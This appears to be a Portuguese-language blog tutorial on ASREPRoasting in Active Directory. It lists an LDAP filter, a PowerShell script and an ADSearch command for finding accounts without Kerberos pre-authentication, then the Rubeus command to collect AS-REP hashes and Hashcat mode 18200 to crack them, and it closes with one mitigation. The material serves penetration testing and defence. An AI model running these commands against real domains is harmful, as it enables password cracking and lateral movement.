ASREPRoasting
Teoria
ASREPRoasting é um ataque no ambiente do Active Directory que explora um recurso do protocolo de autenticação Kerberos chamado AS-REP (Authentication Service Reply).
As contas que não necessitam de pré-autenticação (atributo DONT_REQ_PREAUTH ativado) estão suscetíveis a esse tipo de ataque. Um invasor pode solicitar um ticket Kerberos KRB_AS_REQ sem o autenticador para qualquer usuário que não tenha o recurso de pré-autenticação habilitado.
Em posse da resposta KRB_AS_REP do controlador de domínio, o invasor pode descobrir a senha da vítima com ataque de força bruta offline, usando John The Ripper com o modo krb5asrep
ou com Hashcat.
OBS: Com a senha, a movimentação lateral se torna possível.
Extração de Contas Sem Pré-autenticação com LDAP
Pode-se realizar um filtro LDAP para extrair as contas que não necessitam de pré-autenticação Keberos:
(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)
Essas são as 3 contas sem pré-autenticação.
Extração de Contas Sem Pré-autenticação com Powershell
O mesmo filtro será usado através de um script poweshell.
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.Filter = "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$results = $search.FindAll()
foreach ($result in $results) {
$userEntry = $result.GetDirectoryEntry()
$uac = $userEntry.Properties["userAccountControl"].Value
$doNotReqKerbPreauth = if ($uac -band 4194304) { $true } else { $false }
Write-Host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
Write-Host "DoNotReqKerbPreauth : $doNotReqKerbPreauth"
Write-Host ""
}
Extração de Contas Sem Pré-autenticação com ADSearch
ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
Ataque
O ASREPRoasting pode ser realizado através do Rubeus:
Rubeus.exe asreproast /nowrap
- A opção “nowrap” remove a quebra de linha (não obrigatório).
Quebrando a Senha
O Hashcat será usado para quebrar a senha.
- A configuração “-m 18200” é para quebrar senhas Kerberos 5 AS-REP (etype 23).
- O arquivo “maxraybrandt-asreproast” possui o hash encontrado.
- O arquivo “pass” contém as possíveis senhas.
Medidas de Proteção
- Ativar a pré-autenticação Kerberos para todos os usuários.
Deixe um comentário